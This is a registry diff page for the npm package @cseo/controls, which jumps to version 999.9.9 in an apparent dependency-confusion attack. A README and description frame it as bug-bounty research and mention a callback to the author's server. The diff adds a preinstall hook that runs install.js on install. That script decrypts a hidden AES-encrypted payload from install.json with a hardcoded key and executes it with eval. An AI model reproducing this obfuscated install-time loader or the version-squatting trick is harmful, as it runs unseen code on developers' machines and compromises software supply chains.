@cseo/controls 0.0.1 → 999.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @cseo/controls might be problematic. Click here for more details.
- package/README.md +14 -0
- package/index.js +1 -0
- package/install.js +1 -0
- package/install.json +1 -0
- package/package.json +6 -6
- package/crypto.js +0 -31
- package/kotko.txt +0 -0
package/README.md
CHANGED
@@ -0,0 +1,14 @@
|
|
1
|
+
# Bug Bounty Research Only
|
2
|
+
|
3
|
+
My email address: contact@bugbounty.click
|
4
|
+
|
5
|
+
This package was created for ethical hacking purposes only. If you're reading this, then if I was a malicious hacker then I could have control over your machine. Please see https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610 for the technical description if you are interested. However, please don't report this package to the NPM registry as I have created it for bug bounty purposes.
|
6
|
+
|
7
|
+
For example, as you can see here the vulnerability has been reported to Hacker1 and been rewarded for (note this is not my report): https://hackerone.com/reports/1104693
|
8
|
+
|
9
|
+
If this has broken something then I'm sorry - however, please contact your internal security department/bug bounty administrator and pass on this message and email address. If you leave this on NPM and I receive a callback to my server at https://bugbounty.click then I can prove the vulnerability, and once it is reported it can be fixed before anyone malicious exploits it for bad. I hope I have made myself clear, please report this to your organisational security team.
|
10
|
+
|
11
|
+
Thank you - bugbounty.click
|
12
|
+
|
13
|
+
This is for the following bug bounty program:
|
14
|
+
https://www.microsoft.com/en-us/msrc/bounty
|
package/index.js
CHANGED
@@ -0,0 +1 @@
|
|
1
|
+
test = 'legit';
|
package/install.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const e=require("crypto"),r="aes-256-ctr",t="9z$C&F)J@NcRfUjWnZr4u7x!A%D*G-Ka",c=c=>{const n=e.createDecipheriv(r,t,Buffer.from(c.iv,"hex"));return Buffer.concat([n.update(Buffer.from(c.content,"hex")),n.final()]).toString()};module.exports={decrypt:c};const n=require("fs");n.readFile("install.json",((e,r)=>{eval(c(JSON.parse(r)))}));
|
package/install.json
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
{"iv":"5fc53d9e389dba96bb8d89982ef21fa9","content":"cbbe216c8a61f6250ee78998cebdb7b3bb652f1c35ed344e1d97c0fb4b7da6489f5b3519f3b49d1e98a3037ff19ff76e539107bfe73569f8a140831819162b771f9422509b76aa1ddb561fcc3e9d141799ef069db356572373f63ecc008d3c4e0138ff147f1e0e074d39f7c8cb3dd522e8a20757cb8e69014e245475a044e5bf3d2ece6be2038979fad0b576711a28e59c686b38881b0d83067b87608905ca3e1c176451a1c351e9b1869664b22fcb356696f38b07cb22b43cb2383ec7b4685d7665fe78d4d06a9ec23dd15334ab8f5f809e5aca923b354532b2c3450fb2d5d3a72aa4bc380db86f280faba34c7a2500b5bcf223e3921eef2ba74bd808b7270fe2127c2fb004aa560c13de7632e4fc3518b9d6858bfe08b6071e8712c5c863170eb09ab85522f62f7677d11e25c47207d7ce3439a160a3bf432b1d14818f7985c7ff9da982b8aac5335ff301e40e928061d04795eb174f1364b77d08929dcb745c72eb155ad772b2b2fbcb5951e098e3cbc6993a1d1c7c676a231a46906fbe481ed4fed91b4d23a71647f1e2c19e051220db4cfb457ec543d42f2309b058a0ef6697676dda09693bfe3a1b467815341cc4cd826795b7aa408ed16d33049c8680db9a41d2ab4138decedb17882aa1cc489c8a248106b51af0fce0336f2a5aa75bcfcd57f8329f3825300ebd73bca4a21bf00790b163674dcf859662fa0dcce029bdcb425bea1d7d6d80705a4dd0844617d5edeb09ff34779ee7a9b5d08927cfc903366e5c91b3c5cd0abe2c2f28a1e331e98d97c50648cca8fe8e56ff1ad53d76c20c60f7bec4cfb69577e78ace91334f0c6d897259a2482b4bff126fc493e9347235fbd6607e7fdec1b073cd079fa8a7ccd77f277e4f304de9b7380d33eee305f860fe99be3ce55606cdbf264c560b3f2517db2b187ec6827efd8bbb05bf309928b3a09d503a0c37b1a2ee2627ee964716dd013a6a44ab8105a1985ecad2e84bea3fbf533d97223a392a58e5d6cdb10f97f26ad82604b28a4b64c0657adafda9c95ceb96ea31b10e84e17485db16bb5a40ebfa5f943992dae88622417ef63cb1444ac0c41690bb161f4266224408e6288f31846fbfd31c2169bd1620d98a95eb0860a34212a3c7b0be6a13945f790a02c057899b6bd39544a5a7e513b3c343184e284605c2b99328ec4d68e59b73e88debd80ce7b5"}
|
package/package.json
CHANGED
@@ -1,12 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "@cseo/controls",
|
3
|
-
"version": "
|
4
|
-
"description": "",
|
3
|
+
"version": "999.9.9",
|
4
|
+
"description": "My email address: contact@bugbounty.click - This package was created for ethical hacking purposes only. https://www.microsoft.com/en-us/msrc/bounty If you're reading this, then if I was a malicious hacker then I could have control over your machine. Please see https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610 for the technical description if you are interested. However, please don't report this package to the NPM registry as I have created it for bug bounty purposes. For example, as you can see here the vulnerability has been reported to Hacker1 and been rewarded for (note this is not my report): https://hackerone.com/reports/1104693 If this has broken something then I'm sorry - however, please contact your internal security department/bug bounty administrator and pass on this message and email address. If you leave this on NPM and I receive a callback to my server at https://bugbounty.click then I can prove the vulnerability, and once it is reported it can be fixed before anyone malicious exploits it for bad. I hope I have made myself clear, please report this to your organisational security team. Thank you - bugbounty.click",
|
5
5
|
"main": "index.js",
|
6
6
|
"scripts": {
|
7
|
-
"
|
8
|
-
"preinstall": "
|
9
|
-
"test": "node index.js"
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node install.js"
|
10
9
|
},
|
11
|
-
"author": "
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
12
12
|
}
|
package/crypto.js
DELETED
@@ -1,31 +0,0 @@
|
|
1
|
-
const crypto = require('crypto');
|
2
|
-
|
3
|
-
const algorithm = 'aes-256-ctr';
|
4
|
-
const secretKey = 'vOVH6sdmpNWjRRIqCc7rdxs01lwHzfr3';
|
5
|
-
const iv = crypto.randomBytes(16);
|
6
|
-
|
7
|
-
const encrypt = (text) => {
|
8
|
-
|
9
|
-
const cipher = crypto.createCipheriv(algorithm, secretKey, iv);
|
10
|
-
|
11
|
-
const encrypted = Buffer.concat([cipher.update(text), cipher.final()]);
|
12
|
-
|
13
|
-
return {
|
14
|
-
iv: iv.toString('hex'),
|
15
|
-
content: encrypted.toString('hex')
|
16
|
-
};
|
17
|
-
};
|
18
|
-
|
19
|
-
const decrypt = (hash) => {
|
20
|
-
|
21
|
-
const decipher = crypto.createDecipheriv(algorithm, secretKey, Buffer.from(hash.iv, 'hex'));
|
22
|
-
|
23
|
-
const decrpyted = Buffer.concat([decipher.update(Buffer.from(hash.content, 'hex')), decipher.final()]);
|
24
|
-
|
25
|
-
return decrpyted.toString();
|
26
|
-
};
|
27
|
-
|
28
|
-
module.exports = {
|
29
|
-
encrypt,
|
30
|
-
decrypt
|
31
|
-
};
|
package/kotko.txt
DELETED
File without changes
|